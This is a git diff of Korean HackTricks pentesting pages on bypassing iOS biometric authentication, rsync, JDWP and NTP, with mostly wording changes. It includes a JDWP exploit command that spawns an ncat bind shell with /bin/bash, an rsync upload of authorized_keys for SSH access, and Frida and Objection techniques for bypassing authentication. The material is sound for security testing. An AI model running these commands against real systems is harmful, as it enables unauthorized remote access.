> 그러나 `LocalAuthentication.framework`와 `Security.framework` 모두 주로 인증 프로세스를 위한 데이터를 전송하지 않고 불리언 값만 반환하므로 우회에 취약합니다 (참조: [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
> 그러나 `LocalAuthentication.framework`와 `Security.framework` 모두 주로 인증 프로세스를 위한 데이터를 전송하지 않고 불리언 값만 반환하므로 우회에 취약한 취약점이 존재합니다(참조: [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
### 로컬 인증 구현
@ -741,7 +741,7 @@ Touch ID/Face ID를 통합하기 위해 개발자는 두 가지 API 선택권이
- **`deviceOwnerAuthentication`**: Touch ID 또는 장치 암호를 요청하며, 둘 다 활성화되지 않은 경우 실패합니다.
- **`deviceOwnerAuthenticationWithBiometrics`**: Touch ID만 요청합니다.
성공적인 인증은 **`evaluatePolicy`**에서 불리언 반환 값으로 표시되며, 이는 잠재적인 보안 결함을 강조합니다.
성공적인 인증은 **`evaluatePolicy`**의 불리언 반환 값으로 표시되며, 이는 잠재적인 보안 결함을 강조합니다.
### 키체인을 이용한 로컬 인증
@ -822,7 +822,7 @@ if (status == noErr) {
{{#endtab}}
{{#endtabs}}
이제 키체인에서 저장된 항목을 요청할 수 있습니다. 키체인 서비스는 사용자에게 인증 대화 상자를 표시하고 적절한 지문이 제공되었는지 여부에 따라 데이터 또는 nil을 반환합니다.
이제 키체인에서 저장된 항목을 요청할 수 있습니다. 키체인 서비스는 사용자에게 인증 대화 상자를 표시하고 적절한 지문이 제공되었는지에 따라 데이터 또는 nil을 반환합니다.
{{#tabs}}
{{#tab name="Swift"}}
@ -880,18 +880,18 @@ NSLog(@"Something went wrong");
```bash
$ otool -L <AppName>.app/<AppName>
```
앱에서 `LocalAuthentication.framework`가 사용되면 출력에는 다음 두 줄이 모두 포함됩니다(기억하세요, `LocalAuthentication.framework`는 내부적으로 `Security.framework`를 사용합니다):
`LocalAuthentication.framework`가 앱에서 사용되는 경우, 출력에는 다음 두 줄이 모두 포함됩니다 (기억하세요, `LocalAuthentication.framework`는 내부적으로 `Security.framework`를 사용합니다):
```bash
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
/System/Library/Frameworks/Security.framework/Security
```
`Security.framework`가 사용되는 경우, 두 번째 것만 표시됩니다.
만약 `Security.framework`가 사용된다면, 두 번째 것만 표시됩니다.
### 로컬 인증 프레임워크 우회
#### **Objection**
[이 GitHub 페이지](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass)에 위치한 **Objection Biometrics Bypass**를 통해 **LocalAuthentication** 메커니즘을 극복할 수 있는 기술이 제공됩니다. 이 접근 방식의 핵심은 **Frida**를 활용하여 `evaluatePolicy` 함수를 조작하여 실제 인증 성공 여부와 관계없이 항상 `True` 결과를 반환하도록 하는 것입니다. 이는 결함이 있는 생체 인증 프로세스를 우회하는 데 특히 유용합니다.
**Objection Biometrics Bypass**를 통해, [이 GitHub 페이지](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass)에 위치한 기술을 사용하여 **LocalAuthentication** 메커니즘을 극복할 수 있습니다. 이 접근 방식의 핵심은 **Frida**를 활용하여 `evaluatePolicy` 함수를 조작하는 것으로, 실제 인증 성공 여부와 관계없이 항상 `True` 결과를 반환하도록 보장합니다. 이는 결함이 있는 생체 인증 프로세스를 우회하는 데 특히 유용합니다.
이 우회를 활성화하기 위해 다음 명령이 사용됩니다:
```bash
@ -906,7 +906,7 @@ $ otool -L <AppName>.app/<AppName>
#### Frida
**`evaluatePolicy`**의 사용 예시로 [DVIA-v2 애플리케이션](https://github.com/prateek147/DVIA-v2):
**`evaluatePolicy`**의 사용 예시: [DVIA-v2 application](https://github.com/prateek147/DVIA-v2):
```swift
+(void)authenticateWithTouchID {
LAContext *myContext = [[LAContext alloc] init];
@ -934,7 +934,7 @@ dispatch_async(dispatch_get_main_queue(), ^{
}
}
```
로컬 인증의 **우회**를 달성하기 위해 Frida 스크립트가 작성되었습니다. 이 스크립트는 **evaluatePolicy** 검사를 대상으로 하여, 콜백을 가로채서 **success=1**을 반환하도록 합니다. 콜백의 동작을 변경함으로써 인증 검사를 효과적으로 우회합니다.
로컬 인증의 **우회**를 달성하기 위해 Frida 스크립트가 작성되었습니다. 이 스크립트는 **evaluatePolicy** 검사를 목표로 하여, 성공적으로 **success=1**을 반환하도록 콜백을 가로챕니다. 콜백의 동작을 변경함으로써 인증 검사를 효과적으로 우회합니다.
아래 스크립트는 **evaluatePolicy** 메서드의 결과를 수정하기 위해 주입됩니다. 콜백의 결과를 항상 성공을 나타내도록 변경합니다.
```swift
@ -1008,7 +1008,7 @@ ios-serialisation-and-encoding.md
## 네트워크 통신
암호화 **없이** 통신이 발생하지 않는지 확인하는 것이 중요하며, 애플리케이션이 서버의 TLS 인증서를 올바르게 **검증하고 있는지** 확인해야 합니다.\
암호화 **없이** 통신이 발생하지 않는지 확인하는 것이 중요하며, 또한 애플리케이션이 서버의 TLS 인증서를 올바르게 **검증하고 있는지** 확인해야 합니다.\
이러한 문제를 확인하기 위해 **Burp**와 같은 프록시를 사용할 수 있습니다:
{{#ref}}
@ -1017,13 +1017,13 @@ burp-configuration-for-ios.md
### 호스트 이름 확인
TLS 인증서를 검증할 때 일반적인 문제 중 하나는 인증서가 **신뢰할 수 있는** **CA**에 의해 서명되었는지 확인하는 것이지만, **인증서의 호스트 이름**이 접근 중인 호스트 이름인지 **확인하지 않는** 것입니다.\
이 문제를 Burp를 사용하여 확인하기 위해, iPhone에서 Burp CA를 신뢰한 후, **다른 호스트 이름에 대해 Burp로 새 인증서를 생성하고** 사용할 수 있습니다. 애플리케이션이 여전히 작동하면, 취약점이 있는 것입니다.
TLS 인증서를 검증할 때 일반적인 문제는 인증서가 **신뢰할 수 있는** **CA**에 의해 서명되었는지 확인하는 것이지만, **호스트 이름**이 접근 중인 호스트 이름인지 **확인하지 않는** 것입니다.\
이 문제를 Burp를 사용하여 확인하기 위해, iPhone에서 Burp CA를 신뢰한 후, **다른 호스트 이름에 대해 Burp로 새 인증서를 생성**하고 사용할 수 있습니다. 애플리케이션이 여전히 작동하면, 취약점이 있는 것입니다.
### 인증서 고정
애플리케이션이 SSL Pinning을 올바르게 사용하고 있다면, 애플리케이션은 인증서가 예상되는 것일 때만 작동합니다. 애플리케이션을 테스트할 때 **Burp가 자신의 인증서를 제공하므로 문제가 될 수 있습니다.**\
탈옥된 장치 내에서 이 보호를 우회하기 위해, [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) 애플리케이션을 설치하거나 [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)를 설치할 수 있습니다.
탈옥된 장치 내에서 이 보호를 우회하기 위해 [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2)를 설치하거나 [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)를 설치할 수 있습니다.
또한 **objection의** `ios sslpinning disable`을 사용할 수 있습니다.
@ -1036,21 +1036,21 @@ TLS 인증서를 검증할 때 일반적인 문제 중 하나는 인증서가 **
- 설치된 애플리케이션의 폴더(**`/User/Applications/<APP ID>/`**) 내에서 몇 가지 흥미로운 파일을 찾을 수 있습니다:
- **`iTunesArtwork`**: 앱에서 사용하는 아이콘
- **`iTunesMetadata.plist`**: App Store에서 사용되는 앱 정보
- **`/Library/*`**: 환경 설정 및 캐시를 포함합니다. **`/Library/Cache/Snapshots/*`**에서 애플리케이션을 백그라운드로 전송하기 전에 수행된 스냅샷을 찾을 수 있습니다.
- **`/Library/*`**: 환경 설정 및 캐시를 포함합니다. **`/Library/Cache/Snapshots/*`**에서 애플리케이션을 백그라운드로 보내기 전에 수행된 스냅샷을 찾을 수 있습니다.
### 핫 패칭/강제 업데이트
개발자는 애플리케이션을 App Store에 재제출하고 승인을 기다리지 않고도 **모든 설치를 즉시 패치할 수 있습니다.**\
이를 위해 일반적으로 [**JSPatch**](https://github.com/bang590/JSPatch)**가 사용됩니다.** 그러나 [Siren](https://github.com/ArtSabintsev/Siren) 및 [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker)와 같은 다른 옵션도 있습니다.\
**이는 악의적인 제3자 SDK에 의해 남용될 수 있는 위험한 메커니즘이므로, 자동 업데이트에 사용되는 방법(있는 경우)을 확인하고 테스트하는 것이 좋습니다.** 이를 위해 애플리케이션의 이전 버전을 다운로드해 볼 수 있습니다.
개발자는 애플리케이션을 App Store에 재제출하고 승인을 기다리지 않고도 **모든 설치를 즉시 패치**할 수 있습니다.\
이 목적을 위해 일반적으로 [**JSPatch**](https://github.com/bang590/JSPatch)**가 사용됩니다.** 그러나 [Siren](https://github.com/ArtSabintsev/Siren) 및 [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker)와 같은 다른 옵션도 있습니다.\
**이것은 악의적인 제3자 SDK에 의해 남용될 수 있는 위험한 메커니즘이므로, 자동 업데이트에 사용되는 방법(있는 경우)을 확인하고 테스트하는 것이 권장됩니다.** 이 목적을 위해 애플리케이션의 이전 버전을 다운로드해 볼 수 있습니다.
### 제3자
**3rd party SDKs**와 관련된 중요한 문제는 **기능에 대한 세부적인 제어 부족**입니다. 개발자는 SDK를 통합하고 모든 기능을 수용할 것인지, 또는 그 이점을 완전히 포기할 것인지 선택해야 합니다. 종종 개발자는 이러한 SDK 내의 취약점을 스스로 패치할 수 없습니다. 또한, SDK가 커뮤니티 내에서 신뢰를 얻으면서 일부는 악성코드를 포함할 수 있습니다.
**3rd party SDKs**와 관련된 중요한 도전 과제는 **기능에 대한 세부적인 제어 부족**입니다. 개발자는 SDK를 통합하고 잠재적인 보안 취약점 및 개인 정보 문제를 포함한 모든 기능을 수용할 것인지, 아니면 그 이점을 완전히 포기할 것인지 선택해야 합니다. 종종 개발자는 이러한 SDK 내의 취약점을 스스로 패치할 수 없습니다. 또한, SDK가 커뮤니티 내에서 신뢰를 얻으면서 일부는 악성 코드를 포함하기 시작할 수 있습니다.
제3자 SDK가 제공하는 서비스에는 사용자 행동 추적, 광고 표시 또는 사용자 경험 향상이 포함될 수 있습니다. 그러나 이는 개발자가 이러한 라이브러리에서 실행되는 코드를 완전히 인식하지 못할 수 있으므로 잠재적인 개인 정보 및 보안 위험을 초래합니다. 제3자 서비스와 공유되는 정보는 필요한 것만으로 제한하고 민감한 데이터가 노출되지 않도록 하는 것이 중요합니다.
제3자 서비스의 구현은 일반적으로 독립형 라이브러리 또는 전체 SDK의 두 가지 형태로 제공됩니다. 사용자 개인 정보를 보호하기 위해 이러한 서비스와 공유되는 모든 데이터는 **익명화**되어 개인 식별 정보(PII)의 공개를 방지해야 합니다.
제3자 서비스의 구현은 일반적으로 독립형 라이브러리 또는 전체 SDK의 두 가지 형태로 제공됩니다. 사용자 개인 정보를 보호하기 위해 이러한 서비스와 공유되는 모든 데이터는 개인 식별 정보(PII)의 공개를 방지하기 위해 **익명화**되어야 합니다.
애플리케이션이 사용하는 라이브러리를 식별하기 위해 **`otool`** 명령을 사용할 수 있습니다. 이 도구는 애플리케이션과 사용되는 각 공유 라이브러리에 대해 실행되어 추가 라이브러리를 발견해야 합니다.
```bash

10
src/network-services-pentesting/873-pentesting-rsync.md
View File

@ -6,7 +6,7 @@
From [wikipedia](https://en.wikipedia.org/wiki/Rsync):
> **rsync**는 컴퓨터와 외장 하드 드라이브 간 및 [네트워크화된](https://en.wikipedia.org/wiki/Computer_network) [컴퓨터](https://en.wikipedia.org/wiki/Computer) 간에 [파일](https://en.wikipedia.org/wiki/Computer_file)을 효율적으로 [전송](https://en.wikipedia.org/wiki/File_transfer)하고 [동기화](https://en.wikipedia.org/wiki/File_synchronization)하기 위한 유틸리티로, [수정 시간](<https://en.wikipedia.org/wiki/Timestamping_(computing)>)과 파일 크기를 비교하여 수행됩니다.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) 일반적으로 [Unix-like](https://en.wikipedia.org/wiki/Unix-like) [운영 체제](https://en.wikipedia.org/wiki/Operating_system)에서 발견됩니다. rsync 알고리즘은 [델타 인코딩](https://en.wikipedia.org/wiki/Delta_encoding)의 일종이며, 네트워크 사용을 최소화하는 데 사용됩니다. [Zlib](https://en.wikipedia.org/wiki/Zlib)는 추가적인 [데이터 압축](https://en.wikipedia.org/wiki/Data_compression)을 위해 사용될 수 있으며,[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) [SSH](https://en.wikipedia.org/wiki/Secure_Shell) 또는 [stunnel](https://en.wikipedia.org/wiki/Stunnel)은 보안을 위해 사용될 수 있습니다.
> **rsync**는 컴퓨터와 외장 하드 드라이브 간 및 [네트워크화된](https://en.wikipedia.org/wiki/Computer_network) [컴퓨터](https://en.wikipedia.org/wiki/Computer) 간에 [파일](https://en.wikipedia.org/wiki/Computer_file)을 효율적으로 [전송](https://en.wikipedia.org/wiki/File_transfer)하고 [동기화](https://en.wikipedia.org/wiki/File_synchronization)하기 위한 유틸리티로, [수정 시간](<https://en.wikipedia.org/wiki/Timestamping_(computing)>)과 파일의 크기를 비교하여 작동합니다.[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) 일반적으로 [유닉스 계열](https://en.wikipedia.org/wiki/Unix-like) [운영 체제](https://en.wikipedia.org/wiki/Operating_system)에서 발견됩니다. rsync 알고리즘은 [델타 인코딩](https://en.wikipedia.org/wiki/Delta_encoding)의 일종이며, 네트워크 사용량을 최소화하는 데 사용됩니다. [Zlib](https://en.wikipedia.org/wiki/Zlib)는 추가적인 [데이터 압축](https://en.wikipedia.org/wiki/Data_compression)을 위해 사용될 수 있으며,[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) [SSH](https://en.wikipedia.org/wiki/Secure_Shell) 또는 [stunnel](https://en.wikipedia.org/wiki/Stunnel)은 보안을 위해 사용될 수 있습니다.
**기본 포트:** 873
```
@ -47,13 +47,13 @@ msf> use auxiliary/scanner/rsync/modules_list
# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
```
일부 공유가 목록에 나타나지 않을 수 있으며, 이는 숨겨져 있을 가능성이 있습니다. 또한, 일부 공유에 접근하는 것은 특정 **자격 증명**에 제한될 수 있으며, 이는 **"Access Denied"** 메시지로 표시됩니다.
일부 공유가 목록에 나타나지 않을 수 있으며, 이는 숨겨져 있을 수 있습니다. 또한, 일부 공유에 접근하는 것은 특정 **자격 증명**에 제한될 수 있으며, 이는 **"Access Denied"** 메시지로 표시됩니다.
### [**Brute Force**](../generic-hacking/brute-force.md#rsync)
### 수동 Rsync 사용
**모듈 목록**을 얻은 후, 작업은 인증이 필요한지 여부에 따라 달라집니다. 인증 없이 **목록**을 작성하고 공유 폴더에서 로컬 디렉토리로 파일을 **복사**하는 것은 다음을 통해 수행됩니다:
**모듈 목록**을 얻은 후, 작업은 인증이 필요한지 여부에 따라 달라집니다. 인증 없이 **목록**을 작성하고 공유 폴더에서 로컬 디렉토리로 파일을 복사하는 것은 다음을 통해 수행됩니다:
```bash
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name
@ -68,7 +68,7 @@ rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
```
콘텐츠를 **업로드**하려면, 접근을 위한 _**authorized_keys**_ 파일과 같은 파일을 사용하세요:
내용을 **업로드**하려면, 접근을 위한 _**authorized_keys**_ 파일과 같은 파일을 사용하세요:
```bash
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
```
@ -78,7 +78,7 @@ rsyncd 구성 파일을 찾으려면 다음을 실행하십시오:
```bash
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
```
이 파일 내에서, _secrets file_ 매개변수는 rsyncd 인증을 위한 **사용자 이름과 비밀번호**가 포함된 파일을 가리킬 수 있습니다.
이 파일 내에서 _secrets file_ 매개변수는 rsyncd 인증을 위한 **사용자 이름과 비밀번호**가 포함된 파일을 가리킬 수 있습니다.
## References

22
src/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md
View File

@ -2,6 +2,7 @@
{{#include ../banners/hacktricks-training.md}}
## Exploiting
JDWP 악용은 **프로토콜의 인증 및 암호화 부족**에 달려 있습니다. 일반적으로 **포트 8000**에서 발견되지만 다른 포트도 가능합니다. 초기 연결은 대상 포트에 "JDWP-Handshake"를 전송하여 이루어집니다. JDWP 서비스가 활성화되어 있으면 동일한 문자열로 응답하여 존재를 확인합니다. 이 핸드셰이크는 네트워크에서 JDWP 서비스를 식별하는 지문 인식 방법으로 작용합니다.
@ -14,11 +15,11 @@ JDWP 악용은 **프로토콜의 인증 및 암호화 부족**에 달려 있습
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
```
`--break-on 'java.lang.String.indexOf'`를 사용하면 익스플로잇이 더 **안정적**이 됩니다. 그리고 호스트에 백도어를 업로드하고 명령을 실행하는 대신 실행할 기회가 있다면 익스플로잇은 더욱 안정적일 것입니다.
`--break-on 'java.lang.String.indexOf'`의 사용이 익스플로잇을 더 **안정적**으로 만든다는 것을 발견했습니다. 그리고 호스트에 백도어를 업로드하고 명령을 실행하는 대신 실행할 기회가 있다면, 익스플로잇은 더욱 안정적일 것입니다.
## 더 많은 세부정보
**이것은 [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)의 요약입니다.** 추가 세부정보는 해당 링크를 확인하세요.
**이것은 [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)의 요약입니다. 추가 세부정보는 해당 링크를 확인하세요.**
1. **JDWP 개요**:
@ -31,23 +32,23 @@ JDWP 악용은 **프로토콜의 인증 및 암호화 부족**에 달려 있습
3. **JDWP 통신**:
- 메시지는 길이, ID, 플래그 및 명령 집합과 같은 필드를 가진 간단한 구조를 가지고 있습니다.
- CommandSet 값은 0x40에서 0x80까지 다양하며, 서로 다른 작업 및 이벤트를 나타냅니다.
- 메시지는 길이, ID, 플래그 및 CommandSet과 같은 필드를 가진 간단한 구조를 가지고 있습니다.
- CommandSet 값은 0x40에서 0x80까지 다양하며, 서로 다른 동작 및 이벤트를 나타냅니다.
4. **익스플로잇**:
- JDWP는 임의의 클래스와 바이트코드를 로드하고 호출할 수 있어 보안 위험을 초래합니다.
- JDWP는 임의의 클래스와 바이트코드를 로드하고 호출할 수 있게 하여 보안 위험을 초래합니다.
- 이 기사는 Java Runtime 참조를 가져오고, 중단점을 설정하고, 메서드를 호출하는 다섯 단계의 익스플로잇 프로세스를 자세히 설명합니다.
5. **실제 익스플로잇**:
- 잠재적인 방화벽 보호에도 불구하고 JDWP 서비스는 발견 가능하고 실제 시나리오에서 익스플로잇될 수 있으며, 이는 ShodanHQ 및 GitHub와 같은 플랫폼에서의 검색을 통해 입증됩니다.
- 익스플로잇 스크립트는 다양한 JDK 버전에서 테스트되었으며 플랫폼에 독립적이며 신뢰할 수 있는 원격 코드 실행(RCE)을 제공합니다.
- 잠재적인 방화벽 보호에도 불구하고, JDWP 서비스는 발견 가능하며 실제 시나리오에서 익스플로잇될 수 있습니다. 이는 ShodanHQ 및 GitHub와 같은 플랫폼에서의 검색을 통해 입증됩니다.
- 익스플로잇 스크립트는 다양한 JDK 버전에서 테스트되었으며, 플랫폼에 독립적이며 신뢰할 수 있는 원격 코드 실행(RCE)을 제공합니다.
6. **보안 의미**:
- 인터넷에 열린 JDWP 서비스의 존재는 정기적인 보안 검토, 프로덕션에서 디버그 기능 비활성화 및 적절한 방화벽 구성의 필요성을 강조합니다.
- 인터넷에 열린 JDWP 서비스의 존재는 정기적인 보안 검토의 필요성을 강조하며, 프로덕션에서 디버그 기능을 비활성화하고 적절한 방화벽 구성을 요구합니다.
### **참고문헌:**
### **참고자료:**
- [[https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)]
- [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier)
@ -56,11 +57,10 @@ JDWP 악용은 **프로토콜의 인증 및 암호화 부족**에 달려 있습
- [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE)
- http://www.hsc-news.com/archives/2013/000109.html (더 이상 활성화되지 않음)
- [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt)
- https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults
- [https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults](https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults)
- [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html)
- [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html](http://docs.oracle.com)
- [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)
- [http://nmap.org/nsedoc/scripts/jdwp-exec.html](http://nmap.org/nsedoc/scripts/jdwp-exec.html)
{{#include ../banners/hacktricks-training.md}}

52
src/network-services-pentesting/pentesting-ntp.md
View File

@ -4,7 +4,7 @@
## 기본 정보
**네트워크 시간 프로토콜 (NTP)**는 가변 대기 시간 네트워크에서 컴퓨터와 네트워크 장치가 시계를 정확하게 동기화하도록 보장합니다. IT 운영, 보안 및 로깅에서 정확한 시간 유지에 필수적입니다. 시간은 거의 모든 인증, 암호 프로토콜 및 포렌식 프로세스에 사용되기 때문에, **NTP에 영향을 미칠 수 있는 공격자는 종종 보안 통제를 우회하거나 공격을 조사하기 어렵게 만들 수 있습니다.**
**네트워크 시간 프로토콜 (NTP)**는 가변 대기 시간 네트워크에서 컴퓨터와 네트워크 장치가 시계를 정확하게 동기화하도록 보장합니다. IT 운영, 보안 및 로깅에서 정확한 시간 유지에 필수적입니다. 시간은 거의 모든 인증, 암호 프로토콜 및 포렌식 프로세스에서 사용되기 때문에, **NTP에 영향을 미칠 수 있는 공격자는 종종 보안 통제를 우회하거나 공격을 조사하기 어렵게 만들 수 있습니다.**
### 요약 및 보안 팁
@ -12,7 +12,7 @@
- **중요성**: 보안, 로깅, 암호 프로토콜 및 분산 시스템에 중요합니다.
- **보안 조치**:
- 인증이 있는 신뢰할 수 있는 NTP 또는 NTS(네트워크 시간 보안) 소스를 사용합니다.
- 데몬에 쿼리/명령을 할 수 있는 대상을 제한합니다 (``restrict default noquery``, ``kod`` 등).
- 데몬에 쿼리/명령을 보낼 수 있는 대상을 제한합니다 (``restrict default noquery``, ``kod`` 등).
- 레거시 모드-6/7 제어 쿼리 (``monlist``, ``ntpdc``)를 비활성화하거나 속도를 제한합니다.
- 변조를 위해 동기화 드리프트/윤초 상태를 모니터링합니다.
- 데몬을 최신 상태로 유지합니다 (아래의 최근 CVE 참조).
@ -51,7 +51,7 @@ chronyc -a -n tracking -h <IP>
chronyc -a -n sources -v -h <IP>
chronyc -a -n sourcestats -h <IP>
```
**M/S** 플래그와 기타 필드(스트라텀, 리치, 지터 등)의 의미는 chronyc 매뉴얼 페이지를 참조하세요.
**M/S** 플래그와 기타 필드(계층, 도달, 지터 등)의 의미는 chronyc 매뉴얼 페이지를 참조하세요.
### Nmap
```bash
@ -80,33 +80,33 @@ zgrab2 ntp --monlist --timeout 3 --output-file monlist.json -f "zmap_results.csv
| 연도 | CVE | 구성 요소 | 영향 |
|------|-----|-----------|--------|
| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | **ntpq** 응답을 통해 접근 가능한 여러 개의 경계 초과 쓰기. **4.2.8p16**에서 패치 🡒 업그레이드 또는 백포트 수정. citeturn1search1turn1search2turn1search0|
| 2023 | **CVE-2023-33192** | **ntpd-rs** (Rust 구현) | 잘못된 **NTS** 쿠키로 인해 v0.3.3 이전에 원격 **DoS** 발생 – NTS가 **비활성화**된 경우에도 포트 123에 영향을 미침. citeturn4view0|
| 2024 | 배포판 업데이트 | **chrony 4.4 / 4.5** – 여러 보안 강화 및 NTS-KE 수정 (예: SUSE-RU-2024:2022) citeturn2search2|
| 2024 | 기록 DDoS | Cloudflare는 **5.6 Tbps UDP 반사** 공격을 보고 (NTP가 사용된 프로토콜 중 하나). 인터넷에 노출된 호스트에서 *monitor* 및 *monlist*를 비활성화하십시오. citeturn5search0|
| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | **ntpq** 응답을 통해 접근 가능한 여러 개의 경계 초과 쓰기. **4.2.8p16**에서 패치 🡒 업그레이드 또는 수정 사항 백포트. |
| 2023 | **CVE-2023-33192** | **ntpd-rs** (Rust 구현) | 잘못된 형식의 **NTS** 쿠키로 인해 v0.3.3 이전에 원격 **DoS** 발생 – NTS가 **비활성화**된 경우에도 포트 123에 영향을 미침. |
| 2024 | 배포판 업데이트 | **chrony 4.4 / 4.5** – 여러 보안 강화 및 NTS-KE 수정 (예: SUSE-RU-2024:2022) |
| 2024 | 기록 DDoS | Cloudflare는 **5.6 Tbps UDP 반사** 공격을 보고 (NTP가 사용된 프로토콜 중 하나). 인터넷에 노출된 호스트에서 *monitor* 및 *monlist*를 비활성화하십시오. |
> **익스플로잇 키트**: 2023 ntpq OOB-write 시리즈에 대한 개념 증명 페이로드가 GitHub에 있으며 (Meinberg 작성 참조) 시스템 관리자에 대한 클라이언트 측 피싱을 위해 무기화될 수 있습니다. citeturn1search4
> **익스플로잇 키트**: 2023 ntpq OOB-write 시리즈에 대한 개념 증명 페이로드는 GitHub에 있으며 (Meinberg 작성 참조) 시스템 관리자의 클라이언트 측 피싱을 위해 무기화될 수 있습니다.
---
## 고급 공격
### 1. NTP 증폭 / 반사
구식 Mode-7 ``monlist`` 쿼리는 최대 **600개의 호스트 주소**를 반환하며 여전히 수천 개의 인터넷 호스트에 존재합니다. 응답 (428-468 바이트/항목)이 8바이트 요청보다 *~ 200×* 더 크기 때문에 공격자는 세 자리 증폭 계수를 달성할 수 있습니다. 완화 조치:
구식 Mode-7 ``monlist`` 쿼리는 최대 **600 호스트 주소**를 반환하며 여전히 수천 개의 인터넷 호스트에 존재합니다. 응답 (428-468 바이트/항목)이 8바이트 요청보다 *~ 200×* 더 크기 때문에 공격자는 세 자릿수 증폭 계수를 달성할 수 있습니다. 완화 조치:
- ntp 4.2.8p15+로 업그레이드하고 ``disable monitor``를 **추가**하십시오.
- 엣지에서 UDP/123의 속도를 제한하거나 DDoS 장치에서 *sessions-required*를 활성화하십시오.
- 출처 스푸핑을 차단하기 위해 *BCP 38* 이탈 필터링을 활성화하십시오.
Cloudflare의 학습 센터 기사를 참조하여 단계별 분석을 확인하십시오. citeturn5search1
단계별 분석을 위해 Cloudflare의 학습 센터 기사를 참조하십시오.
### 2. 시간 이동 / 지연 공격 (Khronos / Chronos 연구)
인증이 있더라도, 경로상의 공격자는 패킷을 드롭하거나 지연시켜 클라이언트 시계를 조용히 **이동**시킬 수 있습니다. IETF **Khronos (이전 Chronos) 초안**은 백그라운드에서 다양한 서버를 쿼리하고 결과를 정상 확인하여 𝚡 ms를 초과하는 이동을 감지할 것을 제안합니다. 최신 chrony (4.4+)는 이미 유사한 정상 필터 (``maxdistance`` / ``maxjitter``)를 구현하고 있습니다. citeturn9search1
인증이 있더라도, 경로 공격자는 패킷을 드롭하거나 지연시켜 클라이언트 시계를 조용히 **이동**시킬 수 있습니다. IETF **Khronos (이전 Chronos) 초안**은 백그라운드에서 다양한 서버를 쿼리하고 결과를 정상 확인하여 𝚡 ms 이상의 이동을 감지할 것을 제안합니다. 최신 chrony (4.4+)는 이미 유사한 정상 필터 (``maxdistance`` / ``maxjitter``)를 구현하고 있습니다.
### 3. NTS 남용 및 4460/tcp 노출
NTS는 무거운 암호화를 별도의 **TLS 1.3 채널에서 4460/tcp** (``ntske/1``)로 이동합니다. 잘못된 구현 (CVE-2023-33192 참조)은 쿠키를 파싱할 때 충돌하거나 약한 암호를 허용합니다. 펜테스터는:
NTS는 무거운 암호화를 별도의 **TLS 1.3 채널인 4460/tcp** (``ntske/1``)로 이동합니다. 잘못된 구현 (CVE-2023-33192 참조)은 쿠키를 파싱할 때 충돌하거나 약한 암호를 허용합니다. 펜테스터는:
```bash
# TLS reconnaissance
nmap -sV -p 4460 --script ssl-enum-ciphers,ssl-cert <IP>
@ -114,7 +114,7 @@ nmap -sV -p 4460 --script ssl-enum-ciphers,ssl-cert <IP>
# Grab banner & ALPN
openssl s_client -connect <IP>:4460 -alpn ntske/1 -tls1_3 -ign_eof
```
자체 서명된 인증서나 만료된 인증서 및 약한 암호화 스위트(비 AEAD)를 찾으십시오. 참조: RFC 8915 §4. citeturn11search0
자체 서명된 인증서 또는 만료된 인증서와 약한 암호화 스위트(비-AEAD)를 찾으십시오. 참조: RFC 8915 §4.
---
## 강화 / 최선의 현재 관행 (BCP-233 / RFC 8633)
